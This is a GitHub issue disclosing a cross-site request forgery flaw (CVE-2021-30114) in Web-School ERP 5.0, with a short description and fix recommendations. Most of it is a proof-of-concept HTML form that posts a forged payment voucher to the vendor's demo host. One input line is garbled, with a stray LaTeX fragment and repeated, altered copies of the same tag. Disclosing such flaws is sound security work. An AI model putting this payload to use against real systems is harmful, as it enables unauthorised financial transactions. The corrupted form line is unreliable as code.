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## CVE-2021-30114 #2

Open Oxrayan opened this issue on Apr 7, 2021 · 0 comments

```
Owner
Oxrayan commented on Apr 7, 2021
Product : Web-School ERP V 5.0
Description: Web-School ERP V 5.0 contains a cross-site request forgery (CSRF) vulnerability that allows a remote attacker to create a voucher payment request through
module/accounting/voucher/create. The application fails to validate the CSRF token for a POST request using admin privilege.
 Recommendations:
1- Implement X-CSRF-TOKEN and make sure it's validating in back-end server as well
2- Implement an interceptor which appends token value to every (state-changing) request in custom request header X-XSRF-TOKEN-B
POC:
     <!DOCTYPE html>
     <html>
     <meta name="viewport" content="width=device-width, initial-scale=1">
    body, html {
height: 100%;
margin: 0;
     background-image: url("https://avatars.githubusercontent.com/u/78818477?s=400&u=b18f9de63b3df28e6e1b4d2dc64303048aa5f5b5&v=4");
         /* Full height */
        height: 100%;
       /* Center and scale the image nicely */ background-position: center;
       background-repeat: no-repeat;
background-size: cover;
     }
</style>
     </head>
     <body>
     CSRF CVE-2021-30114 , After clicking below button a voucher payment will be created !!.
     </body>
     <form enctype="multipart/form-data" method="POST" action="http://demowebsch.web-school.in/index.php/accounting/voucher/create">
    <input class="form-control hasDatepicker" placeholder="Date" value="2021-04-08" autocomplete="" label="" id="date" name="Datemaster[transactiondate]" type="text" >
     <input class="form-control" name="Voucher[vouchermasterid]" id="Voucher_vouchermasterid" value="9">
    <input class="form-control" label="" name="Voucher[voucherheadid]" id="Voucher_voucherheadid" value="5">
     <input class="form-control" value="67" name="Voucher[vouchernumber]" id="Voucher_vouchernumber" type="hidden">
     <input class="form-control" label="" name="Voucher[accountgroupid]" id="Voucher_accountgroupid" value="8">
    <input class="form-control" label="" name="Voucher[toaccount]" id="Voucher_toaccount" value="3">
     <input class="form-control" name="Voucher[payment_mode]" id="Voucher_payment_mode" value="2">
    \verb|cinput class="form-control"| placeholder="Amount" name="Voucher[credit]" id="Voucher\_credit" type="text" value="5800"> (input class="form-control") placeholder="Amount" name="Voucher[credit]" id="Voucher\_credit" type="text" value="5800"> (input class="form-control") placeholder="Amount" name="Voucher[credit]" id="Voucher\_credit" type="text" value="5800"> (input class="form-control") placeholder="Amount" name="Voucher_credit" id="Voucher\_credit" type="text" value="5800"> (input class="form-control") placeholder="Amount" name="Voucher_credit" id="Voucher_credit" type="text" value="5800"> (input class="form-control") placeholder="Amount" name="toucher_credit" id="Voucher_credit" type="text" value="5800"> (input class="form-control") placeholder="text" value="5800"> (input class="form-control") placeholder="text" value="text" value="text"
    <input class="form-control" type="text" placeholder="Narration" name="Voucher[description]" id="Voucher_description" value="CSRF everywhere ">
    <input class="btn btn-info" onclick=" return validate11()" type="submit" name="yt0" value="Create">
```

Assignees

No one assigned

Labels None yet

Projects

Miloston

No milestone

Development

No branches or pull requests

1 participant

